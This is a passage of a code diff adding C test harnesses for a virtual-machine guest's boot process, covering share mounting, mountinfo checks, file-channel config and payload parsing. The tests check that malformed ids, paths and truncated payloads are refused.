renamed aside and a new one made in its place (a swap after the walk checked it) */ + const char *swap = getenv("SHARES_SWAP"); + if (swap && r->mounts == 1) { + char aside[4096]; + snprintf(aside, sizeof aside, "%s.aside", swap); + if (rename(swap, aside) != 0 || mkdir(swap, 0700) != 0) { printf("swap-failed\n"); exit(3); } + } + if (sscanf(target, "/proc/self/fd/%d%c", &fd, &extra) == 1) { if (fstat(fd, &st) == 0) inode = (unsigned long long)st.st_ino; } + else if (stat(target, &st) == 0) inode = (unsigned long long)st.st_ino; /* a path target: whatever the path names now */ + printf("mount %s %s %s %lu %s ino=%llu\n", source, target, fstype, flags, data ? data : "(null)", inode); + return r->fail_mount == r->mounts ? -1 : 0; +} +static int r_umount(void *c, const char *target) { + struct record *r = c; + printf("umount %s\n", target); + return r->fail_umount ? -1 : 0; +} +static long r_mountinfo(void *c, char *out, size_t capacity) { + struct record *r = c; + printf("mountinfo\n"); + if (r->fail_mountinfo) return -1; + size_t length = 0; + const char *text = slurp(r->mountinfo, &length); + if (!text) return -1; + size_t have = 0, root = strlen(r->root); + for (size_t i = 0; i < length; i++) { + if (length - i >= 6 && memcmp(text + i, "@ROOT@", 6) == 0) { + if (have + root > capacity) return -1; + memcpy(out + have, r->root, root); have += root; i += 5; + } else { + if (have + 1 > capacity) return -1; + out[have++] = text[i]; + } + } + return (long)have; +} + +int main(int argc, char **argv) { + if (argc == 3 && strcmp(argv[1], "flags") == 0) { + struct wg_share share; + if (parse_share(argv[2], &share) != 0) return 2; + unsigned long flags = wg_share_mount_flags(&share); + printf("%s%s%s%s\n", flags & WG_MS_RDONLY ? "ro," : "", flags & WG_MS_NOSUID ? "nosuid," : "", flags & WG_MS_NODEV ? "nodev," : "", flags & WG_MS_NOEXEC ? "noexec," : ""); + printf("%lu\n", flags); + return 0; + } + if (argc == 3 && strcmp(argv[1], "parse") == 0) { + size_t length = strlen(argv[2]) / 2; + uint8_t *bytes = malloc(length ? length : 1); /* exactly the payload: a read past its end is an address-sanitizer error */ + for (size_t i = 0; i < length; i++) { unsigned v; if (sscanf(argv[2] + 2 * i, "%2x", &v) != 1) return 2; bytes[i] = (uint8_t)v; } + static struct wg_share_set set; + int rc = wg_parse_share_payload(bytes, length, &set); + free(bytes); + if (rc != 0) { printf("refused\n"); return 0; } + printf("%u\n", set.count); + static const char *const KINDS[4] = { "folder", "guidance", "memory", "outputs" }; + for (unsigned i = 0; i < set.count; i++) printf("%s:%d:%s:%s\n", KINDS[set.item[i].kind], set.item[i].read_only, set.item[i].tag, set.item[i].guest_path); + return 0; + } + if (argc >= 3 && strcmp(argv[1], "inventory") == 0) { + static struct wg_share_set set; + set_of(argc, argv, 3, &set); + printf("%d\n", wg_share_inventory(argv[2], &set)); + return 0; + } + if (argc == 4 && strcmp(argv[1], "find") == 0) { + size_t length = 0; + const char *text = slurp(argv[2], &length); + if (!text) return 2; + struct wg_mountinfo_entry entry; + memset(&entry, 0, sizeof entry); + int count = wg_mountinfo_find(text, length, argv[3], &entry); + printf("%d\n", count); + if (count > 0) printf("root=%s\nmount_point=%s\noptions=%s\nfstype=%s\nsource=%s\nsuper=%s\n", entry.root, entry.mount_point, entry.options, entry.fstype, entry.source, entry.super_options); + return 0; + } + if (argc == 5 && strcmp(argv[1], "check") == 0) { + size_t length = 0; + const char *text = slurp(argv[2], &length); + struct wg_share share; + if (!text || parse_share(argv[4], &share) != 0) return 2; + printf("%d\n", wg_share_mountinfo_ok(text, length, argv[3], &share)); + return 0; + } + if (argc == 8 && strcmp(argv[1], "checkas") == 0) { /* MOUNTINFO WHERE SHARE FSTYPE SOURCE DATA: wg_mountinfo_entry_ok, the check for any filesystem */ + size_t length = 0; + const char *text = slurp(argv[2], &length); + struct wg_share share; + if (!text || parse_share(argv[4], &share) != 0) return 2; + printf("%d\n", wg_mountinfo_entry_ok(text, length, argv[3], &share, argv[5], argv[6], argv[7])); + return 0; + } + if (argc == 4 && strcmp(argv[1], "point") == 0) { + struct wg_share share; + if (parse_share(argv[3], &share) != 0) return 2; + printf("%d\n", wg_share_mount_point(argv[2], &share, owner())); + return 0; + } + if (argc == 3 && strcmp(argv[1], "alias") == 0) { + printf("%d\n", wg_share_guidance_alias(argv[2], owner())); + return 0; + } + if (argc >= 6 && strcmp(argv[1], "step") == 0) { + struct record r = { argv[2], argv[4], 0, 0, 0, 0 }; + if (strncmp(argv[5], "mount:", 6) == 0) r.fail_mount = atoi(argv[5] + 6); + else if (strcmp(argv[5], "umount") == 0) r.fail_umount = 1; + else if (strcmp(argv[5], "mountinfo") == 0) r.fail_mountinfo = 1; + static struct wg_share_set set; + set_of(argc, argv, 6, &set); + struct wg_share_ops ops = { &r, argv[2], argv[3], r_mount, r_umount, r_mountinfo, owner() }; + unsigned mounted = 99; + int rc = wg_mount_shares(&ops, &set, &mounted); + printf("rc=%d mounted=%u\n", rc, mounted); + return 0; + } + fprintf(stderr, "usage\n"); + return 2; +} diff --git a/apple/Cowork/WinterCoworkGuest/tests/test_boot_filechannel.c b/apple/Cowork/WinterCoworkGuest/tests/test_boot_filechannel.c new file mode 100644 index 000000000..b4b7d7de2 --- /dev/null +++ b/apple/Cowork/WinterCoworkGuest/tests/test_boot_filechannel.c @@ -0,0 +1,383 @@ +/* + * Native tests of PID 1's file-channel decisions (WG_FILE_CHANNEL_V1 images only): the extended 'C' payload, the config's `fileChannel` member, the order of the + * effects and the relay's go byte. A small recording fake of its own; the full state machine is test_boot.c's. Prints PASS/FAIL lines; driven by test_filechannel.py. + */ +#define _GNU_SOURCE +#include "../common/ctl.h" +#include "../init/boot.h" +#include "../init/trusted_config.h" + +#include +#include +#include +#include + +#define NONCE "0123456789abcdef0123456789abcdef" +#define UUID_DATA "11111111-2222-4333-8444-555555555555" +#define UUID_ENV "66666666-7777-4888-8999-aaaaaaaaaaaa" +#define V1_BLOCK "{\"artifacts\":{\"executable\":{\"path\":\"/opt/winter/runtime/winter-host-query\",\"sha256\":\"cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc\"},\"launcher\":{\"path\":\"/opt/winter/helpers/linux-runtime-compartment\",\"sha256\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"},\"ownerLibrary\":{\"path\":\"/opt/winter/helpers/linux-session-owner.so\",\"sha256\":\"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\"}}}" + +static int failures, current_failed; +static const char *current_name; +static void fail(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + if (!current_failed) printf("FAIL %s: ", current_name); + else printf(" "); + vprintf(fmt, args); + printf("\n"); + va_end(args); + current_failed = 1; +} +#define CHECK(cond) do { if (!(cond)) fail("%s (line %d)", #cond, __LINE__); } while (0) + +struct fake { + char events[64][96]; + int count; + int start_flags, device_rc, dirs_rc; + uint64_t device; + char config[70000]; + const char *base; + unsigned dirs_roots[2]; + char first_source[300]; + uint32_t dirs_gid; +}; +static void ev(struct fake *f, const char *fmt, ...) { + va_list args; + va_start(args, fmt); + if (f->count < 64) vsnprintf(f->events[f->count++], sizeof f->events[0], fmt, args); + va_end(args); +} +static int has(struct fake *f, const char *text) { for (int i = 0; i < f->count; i++) if (strcmp(f->events[i], text) == 0) return 1; return 0; } +static int index_of(struct fake *f, const char *text) { for (int i = 0; i < f->count; i++) if (strcmp(f->events[i], text) == 0) return i; return -1; } + +static long long f_now(void *c) { (void)c; return 0; } +static void f_pause(void *c, unsigned ms) { (void)c; (void)ms; } +static void f_log(void *c, const char *code) { ev(c, "log:%s", code); } +static void f_to_relay(void *c, uint8_t tag, const void *p, size_t n) { + if (tag == CTL_RUNTIME_GO) ev(c, "relay:G:%u", (unsigned)((const uint8_t *)p)[0]); + else ev(c, "relay:%c:%zu", tag, n); +} +static void f_to_helper(void *c, uint8_t tag, const void *p, size_t n) { + if (tag == CTL_CONVERSATIONS_RESULT) ev(c, "helper:r:%u:%u", (unsigned)((const uint8_t *)p)[0], (unsigned)((const uint8_t *)p)[1]); + else ev(c, "helper:%c:%zu", tag, n); +} +static int f_wait_flushed(void *c, unsigned ms) { (void)c; (void)ms; return 1; } +static int f_replay(void *c, const char *purpose) { (void)c; (void)purpose; return 0; } +static int f_mount(void *c, const uint8_t *d, const uint8_t *e, int *leftover) { (void)d; (void)e; ev(c, "mount-volumes"); *leftover = 0; return 0; } +static int f_umount(void *c, int volume) { (void)c; (void)volume; return 0; } +static int f_verify(void *c, int volume, const uint8_t *uuid) { (void)c; (void)volume; (void)uuid; return 0; } +static int f_prepare_dirs(void *c, const struct wg_conversation_set *set) { + struct fake *f = c; + ev(c, "prepare-dirs"); + f->dirs_roots[0] = set->root_count[0]; + f->dirs_gid = set->workspace_gid[0]; + snprintf(f->first_source, sizeof f->first_source, "%s", set->root_source[0][0]); + return f->dirs_rc; +} +static int f_read_artifacts(void *c, unsigned profile, char *out, size_t cap, size_t *len) { (void)c; (void)profile; snprintf(out, cap, "%s", V1_BLOCK); *len = strlen(out); return 0; } +static int f_read_base(void *c, char *out, size_t cap, size_t *len) { struct fake *f = c; snprintf(out, cap, "%s", f->base); *len = strlen(out); return 0; } +static int f_boot_id(void *c, char out[37]) { (void)c; strcpy(out, "66666666-6666-4666-8666-666666666666"); return 0; } +static int f_read_device(void *c, uint64_t *device) { struct fake *f = c; ev(c, "read-data-device"); *device = f->device; return f->device_rc; } +static int f_start_supervisor(void *c, const char *config, size_t len, int flags) { + struct fake *f = c; + ev(c, "start-supervisor"); + f->start_flags = flags; + snprintf(f->config, sizeof f->config, "%.*s", (int)len, config); + return 0; +} +static void f_stop_helper(void *c, long long d) { (void)c; (void)d; } +static void f_stop_supervisor(void *c, long long d) { (void)c; (void)d; } +static void f_kill_all(void *c) { (void)c; } +static void f_sync(void *c) { (void)c; } +static int f_flush(void *c, unsigned v) { (void)c; (void)v; return 0; } +static void f_power_off(void *c) { ev(c, "power-off"); } + +static struct wg_boot_ops ops_for(struct fake *f) { + struct wg_boot_ops ops = { .ctx = f, .now_ms = f_now, .pause_ms = f_pause, .log = f_log, .to_relay = f_to_relay, .to_helper = f_to_helper, + .wait_flushed = f_wait_flushed, .replay = f_replay, .mount_volumes = f_mount, .umount = f_umount, .verify_unmounted = f_verify, + .prepare_conversation_dirs = f_prepare_dirs, .read_runtime_artifacts = f_read_artifacts, .read_base_config = f_read_base, .read_boot_id = f_boot_id, + .read_data_device = f_read_device, .start_supervisor = f_start_supervisor, .stop_helper = f_stop_helper, .stop_supervisor = f_stop_supervisor, + .kill_all = f_kill_all, .sync_all = f_sync, .flush_devices = f_flush, .power_off = f_power_off }; + return ops; +} +static void fresh(struct fake *f) { + memset(f, 0, sizeof *f); + f->base = "{\"artifacts\":{}}"; + f->device = 2049; +} + +static const char READY_MESSAGE[] = "{\"v\":1,\"t\":\"ready\",\"operationId\":\"filesystem_55555555-5555-4555-8555-555555555555\",\"nonce\":\"" NONCE "\"}"; +static const char MOUNT_PAYLOAD[] = UUID_DATA " " UUID_ENV; +static void to_mounted(struct wg_boot *boot) { + wg_boot_relay_message(boot, CTL_BOOTSTRAP_DOWN, (const uint8_t *)READY_MESSAGE, sizeof READY_MESSAGE - 1); + wg_boot_helper_message(boot, CTL_HELPER_MOUNT, (const uint8_t *)MOUNT_PAYLOAD, 73); + wg_boot_helper_message(boot, CTL_HELPER_DONE, NULL, 0); +} + +#define ITEMS "[{\"logicalSessionId\":\"s1\"}]" +static void put32(uint8_t *out, size_t *at, uint32_t v) { out[(*at)++] = (uint8_t)v; out[(*at)++] = (uint8_t)(v >> 8); out[(*at)++] = (uint8_t)(v >> 16); out[(*at)++] = (uint8_t)(v >> 24); } + +struct spec { + unsigned profile; + int extended; + uint32_t runtime_uid, tool_uid, browse_uid, gid; + unsigned roots; + int zero_roots; /* a conversation that claims no roots at all */ + int second; /* a second conversation `s2` (then profile 0: a profile means exactly one) */ + uint32_t second_runtime, second_tool; + const char *source; /* every root */ + const char *json; +}; +static size_t payload_of(uint8_t *out, const struct spec *s) { + size_t at = 0; + out[at++] = (uint8_t)(s->profile | (s->extended ? WG_PAYLOAD_EXTENDED : 0)); + out[at++] = s->second ? 2 : 1; + put32(out, &at, s->runtime_uid ? s->runtime_uid : 20001); + out[at++] = 2; out[at++] = 's'; out[at++] = '1'; + if (s->second) { put32(out, &at, s->second_runtime ? s->second_runtime : 20003); out[at++] = 2; out[at++] = 's'; out[at++] = '2'; } + if (s->extended) { + put32(out, &at, s->browse_uid); + for (unsigned c = 0; c < (s->second ? 2u : 1u); c++) { + put32(out, &at, c ? (s->second_tool ? s->second_tool : 20004) : (s->tool_uid ? s->tool_uid : 20002)); + put32(out, &at, s->gid ? s->gid : 30001); + unsigned roots = s->zero_roots ? 0 : s->roots ? s->roots : 1; + out[at++] = (uint8_t)roots; + for (unsigned r = 0; r < roots; r++) { + const char *source = s->source ? s->source : "/workspace/repos/r1"; + out[at++] = (uint8_t)strlen(source); + memcpy(out + at, source, strlen(source)); at += strlen(source); + } + } + } + const char *json = s->json ? s->json : ITEMS; + memcpy(out + at, json, strlen(json)); + return at + strlen(json); +} +static struct spec good(void) { struct spec s; memset(&s, 0, sizeof s); s.profile = 1; s.extended = 1; s.browse_uid = 40001; return s; } +static int parses(const struct spec *s, struct wg_conversation_set *set) { + static uint8_t *exact; /* set->json points into it */ + uint8_t scratch[2048]; + size_t n = payload_of(scratch, s); + free(exact); + exact = malloc(n); /* exactly n bytes: a read past the end is an address-sanitizer error, not a lucky zero */ + memcpy(exact, scratch, n); + return wg_parse_conversation_payload(exact, n, set); +} +static void to_running(struct wg_boot *boot, const struct spec *s) { + to_mounted(boot); + uint8_t payload[2048]; + size_t n = payload_of(payload, s); + wg_boot_helper_message(boot, CTL_HELPER_CONVERSATIONS, payload, n); + wg_boot_supervisor_ready(boot); +} + +/* ------------------------------------------------------------------------------------------------ the payload */ + +static void test_the_extended_payload_carries_the_browse_uid_the_gid_and_the_roots(void) { + struct wg_conversation_set set; + struct spec s = good(); + s.roots = 3; s.source = "/workspace/repos/r1"; + CHECK(parses(&s, &set) == 0); + CHECK(set.browse_uid == 40001 && set.tool_uid[0] == 20002 && set.workspace_gid[0] == 30001 && set.root_count[0] == 3 && set.runtime_uid[0] == 20001); + CHECK(strcmp(set.root_source[0][2], "/workspace/repos/r1") == 0); + CHECK(strncmp(set.json, ITEMS, strlen(ITEMS)) == 0 && set.json_length == strlen(ITEMS)); + s.browse_uid = 0; + CHECK(parses(&s, &set) == 0 && set.browse_uid == 0); /* no browse uid: the workspace has no file channel */ + s.extended = 0; + CHECK(parses(&s, &set) == 0 && set.browse_uid == 0 && set.root_count[0] == 0); /* the plain payload is still the plain payload */ +} + +static void test_every_departure_in_the_extension_is_refused(void) { + struct wg_conversation_set set; + uint32_t bad_ids[] = { 1, 999, 65534, 65535, 70000 }; + for (unsigned i = 0; i < sizeof bad_ids / sizeof bad_ids[0]; i++) { + struct spec s = good(); s.browse_uid = bad_ids[i]; + CHECK(parses(&s, &set) != 0); + s = good(); s.gid = bad_ids[i]; + CHECK(parses(&s, &set) != 0); + } + struct spec s = good(); s.browse_uid = 20001; /* the runtime uid of the set */ + CHECK(parses(&s, &set) != 0); + s = good(); s.browse_uid = 30001; s.gid = 30001; /* the workspace gid */ + CHECK(parses(&s, &set) != 0); + s = good(); s.gid = 20001; /* a group id equal to a uid is that user's private group */ + CHECK(parses(&s, &set) != 0); + for (unsigned i = 0; i < sizeof bad_ids / sizeof bad_ids[0]; i++) { /* the tool uid is a unix id like the others */ + s = good(); s.tool_uid = bad_ids[i]; + CHECK(parses(&s, &set) != 0); + } + s = good(); s.tool_uid = 20001; /* the runtime uid of the same conversation */ + CHECK(parses(&s, &set) != 0); + s = good(); s.browse_uid = 20002; /* the tool uid: the plan view's owner is nobody else's */ + CHECK(parses(&s, &set) != 0); + s = good(); s.gid = 20002; /* a group id equal to the tool uid */ + CHECK(parses(&s, &set) != 0); + s = good(); s.profile = 0; s.second = 1; /* two conversations, every id of the set apart: fine */ + CHECK(parses(&s, &set) == 0 && set.count == 2 && set.tool_uid[0] == 20002 && set.tool_uid[1] == 20004); + s.second_tool = 20002; /* the other conversation's tool uid: its plan view would be shared */ + CHECK(parses(&s, &set) != 0); + s = good(); s.profile = 0; s.second = 1; s.second_tool = 20001; /* the other conversation's runtime uid */ + CHECK(parses(&s, &set) != 0); + s = good(); s.profile = 0; s.second = 1; s.tool_uid = 20003; /* ... and the first one's tool uid is the second's runtime uid */ + CHECK(parses(&s, &set) != 0); + s = good(); s.profile = 0; s.second = 1; s.gid = 20004; /* a workspace group that is the other conversation's tool uid */ + CHECK(parses(&s, &set) != 0); + s = good(); s.roots = 17; + CHECK(parses(&s, &set) != 0); + s = good(); s.zero_roots = 1; + CHECK(parses(&s, &set) != 0); + s = good(); s.roots = 16; + CHECK(parses(&s, &set) == 0); + const char *bad_sources[] = { "", "/workspace", "/workspace/", "workspace/repos/a", "/work/repos/a", "/workspace//a", "/workspace/a/", "/workspace/./a", "/workspace/a/..", "/workspace/../a", + "/workspace/a b", "/workspace/a\n", "/workspace/\xc3\xa9", "/workspace/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" }; + for (unsigned i = 0; i < sizeof bad_sources / sizeof bad_sources[0]; i++) { + s = good(); s.source = bad_sources[i]; + CHECK(parses(&s, &set) != 0); + } + s = good(); s.source = "/workspace/.winter/scratch/s1"; + CHECK(parses(&s, &set) == 0); + char component[120]; + memset(component, 'a', sizeof component); + snprintf(component, sizeof component, "/workspace/repos/%s", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"); /* 64 */ + s = good(); s.source = component; + CHECK(parses(&s, &set) == 0); + snprintf(component, sizeof component, "/workspace/repos/%s", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"); /* 65 */ + CHECK(parses(&s, &set) != 0); + /* a source too short to hold the prefix whose missing bytes are the items JSON that follows it: it must not be read as "/workspace/" */ + s = good(); s.source = "/wo"; s.json = "rkspace/x[]"; + CHECK(parses(&s, &set) != 0); + s = good(); s.source = "/workspace/.winter/scratch/s1"; + uint8_t payload[2048]; + size_t n = payload_of(payload, &s); + for (size_t cut = 0; cut < n - strlen(ITEMS); cut++) CHECK(wg_parse_conversation_payload(payload, cut, &set) != 0); /* every truncation inside the header or the extension */ +} + +/* ------------------------------------------------------------------------------------------------ the boot flow */ + +static void test_a_workspace_with_a_browse_uid_gets_the_file_channel_in_its_config_its_flags_and_its_go_byte(void) { + struct fake f; fresh(&f); + struct wg_boot_ops ops = ops_for(&f); + struct wg_boot boot; wg_boot_init(&boot, &ops); + struct spec s = good(); + to_running(&boot, &s); + CHECK(f.start_flags == (WG_START_PORTS | WG_START_FILE_CHANNEL)); + const char *member = ",\"fileChannel\":{\"browseUid\":40001,\"dataDevice\":2049}}"; + size_t length = strlen(f.config); + CHECK(length > strlen(member) && strcmp(f.config + length - strlen(member), member) == 0); /* the last member, after the runtime block */ + CHECK(has(&f, "relay:G:3")); + CHECK(index_of(&f, "read-data-device") < index_of(&f, "prepare-dirs") && index_of(&f, "prepare-dirs") < index_of(&f, "start-supervisor")); + CHECK(f.dirs_roots[0] == 1 && f.dirs_gid == 30001 && strcmp(f.first_source, "/workspace/repos/r1") == 0); +} + +static void test_a_tools_only_set_with_a_browse_uid_still_has_a_file_service(void) { + struct fake f; fresh(&f); + struct wg_boot_ops ops = ops_for(&f); + struct wg_boot boot; wg_boot_init(&boot, &ops); + struct spec s = good(); s.profile = 0; + to_running(&boot, &s); + CHECK(f.start_flags == WG_START_FILE_CHANNEL); + CHECK(strstr(f.config, "\"fileChannel\":{\"browseUid\":40001,\"dataDevice\":2049}") != NULL); + CHECK(has(&f, "relay:G:2")); +} + +static void test_without_a_browse_uid_nothing_changes(void) { + struct fake f; fresh(&f); + struct wg_boot_ops ops = ops_for(&f); + struct wg_boot boot; wg_boot_init(&boot, &ops); + struct spec s = good(); s.browse_uid = 0; + to_running(&boot, &s); + CHECK(f.start_flags == WG_START_PORTS); + CHECK(strstr(f.config, "fileChannel") == NULL); + CHECK(has(&f, "relay:G:1") && !has(&f, "read-data-device")); + struct fake g; fresh(&g); + struct wg_boot_ops gops = ops_for(&g); + struct wg_boot gboot; wg_boot_init(&gboot, &gops); + s = good(); s.extended = 0; + to_running(&gboot, &s); + CHECK(g.start_flags == WG_START_PORTS && has(&g, "relay:G:1") && strstr(g.config, "fileChannel") == NULL); +} + +static void test_a_data_device_that_cannot_be_read_or_is_zero_fails_the_set_before_anything_starts(void) { + for (int mode = 0; mode < 2; mode++) { + struct fake f; fresh(&f); + if (mode == 0) f.device_rc = -1; else f.device = 0; + struct wg_boot_ops ops = ops_for(&f); + struct wg_boot boot; wg_boot_init(&boot, &ops); + struct spec s = good(); + to_mounted(&boot); + uint8_t payload[2048]; + size_t n = payload_of(payload, &s); + wg_boot_helper_message(&boot, CTL_HELPER_CONVERSATIONS, payload, n); + CHECK(has(&f, "helper:r:2:0") && has(&f, "log:file-channel-config-failed")); + CHECK(!has(&f, "start-supervisor") && !has(&f, "prepare-dirs") && !has(&f, "power-off")); /* the guest stays up for the drain */ + } +} + +static void test_a_static_config_that_names_file_channel_is_refused(void) { + struct fake f; fresh(&f); + f.base = "{\"fileChannel\":{\"browseUid\":1000,\"dataDevice\":1}}"; + struct wg_boot_ops ops = ops_for(&f); + struct wg_boot boot; wg_boot_init(&boot, &ops); + struct spec s = good(); + to_mounted(&boot); + uint8_t payload[2048]; + size_t n = payload_of(payload, &s); + wg_boot_helper_message(&boot, CTL_HELPER_CONVERSATIONS, payload, n); + CHECK(has(&f, "log:file-channel-config-failed") && !has(&f, "start-supervisor")); +} + +static void test_add_file_channel_checks_what_it_writes(void) { + char config[256]; + size_t length = 0; + snprintf(config, sizeof config, "{\"a\":1}"); + CHECK(wg_add_file_channel(config, strlen(config), sizeof config, 1000, 5, &length) == 0); + CHECK(strcmp(config, "{\"a\":1,\"fileChannel\":{\"browseUid\":1000,\"dataDevice\":5}}") == 0 && length == strlen(config)); + snprintf(config, sizeof config, "{\"a\":1}"); + CHECK(wg_add_file_channel(config, strlen(config), sizeof config, 999, 5, &length) != 0); + CHECK(wg_add_file_channel(config, strlen(config), sizeof config, 65534, 5, &length) != 0); + CHECK(wg_add_file_channel(config, strlen(config), sizeof config, 1000, 0, &length) != 0); + CHECK(wg_add_file_channel(config, strlen(config), strlen(config) + 20, 1000, 5, &length) != 0); /* does not fit with its terminator */ + snprintf(config, sizeof config, "{\"a\":1}"); + size_t member = strlen(",\"fileChannel\":{\"browseUid\":1000,\"dataDevice\":5}"); + CHECK(wg_add_file_channel(config, strlen(config), strlen(config) + member, 1000, 5, &length) != 0); /* no room for the terminator */ + CHECK(wg_add_file_channel(config, strlen(config), strlen(config) + member + 1, 1000, 5, &length) == 0); /* exactly enough */ + snprintf(config, sizeof config, "[1]"); + CHECK(wg_add_file_channel(config, strlen(config), sizeof config, 1000, 5, &length) != 0); + snprintf(config, sizeof config, "{\"a\":1"); /* not closed */ + CHECK(wg_add_file_channel(config, strlen(config), sizeof config, 1000, 5, &length) != 0); + snprintf(config, sizeof config, "x\"a\":1}"); /* not an object */ + CHECK(wg_add_file_channel(config, strlen(config), sizeof config, 1000, 5, &length) != 0); + snprintf(config, sizeof config, "{}"); /* an empty object takes the member too */ + CHECK(wg_add_file_channel(config, strlen(config), sizeof config, 1000, 5, &length) == 0 && strcmp(config, "{\"fileChannel\":{\"browseUid\":1000,\"dataDevice\":5}}") == 0); + { + char *heap = malloc(8); /* length 0 must not read config[-1] */ + CHECK(wg_add_file_channel(heap, 0, 8, 1000, 5, &length) != 0); + free(heap); + size_t big = 59990; /* with the member the config would pass WG_CONFIG_MAX_BYTES (60000) though the buffer is large */ + char *large = malloc(70000); + memset(large, 'a', big); + large[0] = '{'; large[big - 1] = '}'; large[big] = '\0'; + CHECK(wg_add_file_channel(large, big, 70000, 1000, 5, &length) != 0); + free(large); + } + snprintf(config, sizeof config, "{\"x\":{\"fileChannel\":1},\"fileChannel\":2}"); + CHECK(wg_add_file_channel(config, strlen(config), sizeof config, 1000, 5, &length) != 0); + snprintf(config, sizeof config, "{\"x\":{\"fileChannel\":1}}"); /* a nested mention is not a top-level key */ + CHECK(wg_add_file_channel(config, strlen(config), sizeof config, 1000, 18446744073709551615ull, &length) == 0); + CHECK(strstr(config, "\"dataDevice\":18446744073709551615}}") != NULL); +} + +#define RUN(fn) do { current_name = #fn; current_failed = 0; fn(); if (current_failed) failures++; else printf("PASS %s\n", #fn); } while (0) + +int main(void) { + RUN(test_the_extended_payload_carries_the_browse_uid_the_gid_and_the_roots); + RUN(test_every_departure_in_the_extension_is_refused); + RUN(test_a_workspace_with_a_browse_uid_gets_the_file_channel_in_its_config_its_flags_and_its_go_byte); + RUN(test_a_tools_only_set_with_a_browse_uid_still_has_a_file_service); + RUN(test_without_a_browse_uid_nothing_changes); + RUN(test_a_data_device_that_cannot_be_read_or_is_zero_fails_the_set_before_anything_starts); + RUN(test_a_static_config_that_names_file_channel_is_refused); + RUN(test_add_file_channel_checks_what_it_writes); + return failures ? 1 : 0; +} diff --git a/apple/Cowork/WinterCoworkGuest/tests/test_boot_shares.c b/apple/Cowork/WinterCoworkGuest/tests/test_boot_shares.c new file mode 100644 index 000000000..7f6e1dcdd --- /dev/null +++ b/apple/Cowork/WinterCoworkGuest/tests/test_boot_shares.c @@ -0,0 +1,393 @@ +/* + * Native tests of PID 1's share step (WG_FILE_CHANNEL_V1 images only): the 'S' payload, when 'S' is accepted, what the answer 's' says, that no set follows a failed + * step, and that the drain unmounts the shares before the ext4 volumes and withholds `halting` while one is still mounted. A recording fake of its own; the + * effects themselves are shares.c's (test_shares.py). Prints PASS/FAIL lines; driven by test_shares.py. + */ +#define _GNU_SOURCE +#include "../common/ctl.h" +#include "../init/boot.h" +#include "../init/trusted_config.h" + +#include +#include +#include +#include + +#define NONCE "0123456789abcdef0123456789abcdef" +#define UUID_DATA "11111111-2222-4333-8444-555555555555" +#define UUID_ENV "66666666-7777-4888-8999-aaaaaaaaaaaa" +#define V1_BLOCK "{\"artifacts\":{\"executable\":{\"path\":\"/opt/winter/runtime/winter-host-query\",\"sha256\":\"cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc\"},\"launcher\":{\"path\":\"/opt/winter/helpers/linux-runtime-compartment\",\"sha256\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"},\"ownerLibrary\":{\"path\":\"/opt/winter/helpers/linux-session-owner.so\",\"sha256\":\"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\"}}}" + +static int failures, current_failed; +static const char *current_name; +static void fail(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + if (!current_failed) printf("FAIL %s: ", current_name); + else printf(" "); + vprintf(fmt, args); + printf("\n"); + va_end(args); + current_failed = 1; +} +#define CHECK(cond) do { if (!(cond)) fail("%s (line %d)", #cond, __LINE__); } while (0) + +struct fake { + char events[96][96]; + int count; + int shares_result; + unsigned shares_mask; /* what mount_shares reports as mounted; ~0u: every share of the set */ + const char *stuck_share; /* a guest path whose unmount always fails */ + struct wg_share_set seen; +}; +static void ev(struct fake *f, const char *fmt, ...) { + va_list args; + va_start(args, fmt); + if (f->count < 96) vsnprintf(f->events[f->count++], sizeof f->events[0], fmt, args); + va_end(args); +} +static int has(struct fake *f, const char *text) { for (int i = 0; i < f->count; i++) if (strcmp(f->events[i], text) == 0) return 1; return 0; } +static int index_of(struct fake *f, const char *text) { for (int i = 0; i < f->count; i++) if (strcmp(f->events[i], text) == 0) return i; return -1; } +static int count_of(struct fake *f, const char *prefix) { int n = 0; for (int i = 0; i < f->count; i++) n += strncmp(f->events[i], prefix, strlen(prefix)) == 0; return n; } + +static long long f_now(void *c) { (void)c; return 0; } +static void f_pause(void *c, unsigned ms) { (void)c; (void)ms; } +static void f_log(void *c, const char *code) { ev(c, "log:%s", code); } +static void f_to_relay(void *c, uint8_t tag, const void *p, size_t n) { (void)p; ev(c, "relay:%c:%zu", tag, n); } +static void f_to_helper(void *c, uint8_t tag, const void *p, size_t n) { + if (n == 1) ev(c, "helper:%c:%u", tag, (unsigned)((const uint8_t *)p)[0]); + else if (n == 2) ev(c, "helper:%c:%u:%u", tag, (unsigned)((const uint8_t *)p)[0], (unsigned)((const uint8_t *)p)[1]); + else ev(c, "helper:%c:%zu", tag, n); +} +static int f_wait_flushed(void *c, unsigned ms) { (void)c; (void)ms; return 1; } +static int f_replay(void *c, const char *purpose) { (void)c; (void)purpose; return 0; } +static int f_mount(void *c, const uint8_t *d, const uint8_t *e, int *leftover) { (void)d; (void)e; ev(c, "mount-volumes"); *leftover = 0; return 0; } +static int f_umount(void *c, int volume) { ev(c, "umount-volume:%d", volume); return 0; } +static int f_verify(void *c, int volume, const uint8_t *uuid) { (void)c; (void)volume; (void)uuid; return 0; } +static int f_prepare_dirs(void *c, const struct wg_conversation_set *set) { (void)set; ev(c, "prepare-dirs"); return 0; } +static int f_read_artifacts(void *c, unsigned profile, char *out, size_t cap, size_t *len) { (void)c; (void)profile; snprintf(out, cap, "%s", V1_BLOCK); *len = strlen(out); return 0; } +static int f_read_base(void *c, char *out, size_t cap, size_t *len) { (void)c; snprintf(out, cap, "{\"artifacts\":{}}"); *len = strlen(out); return 0; } +static int 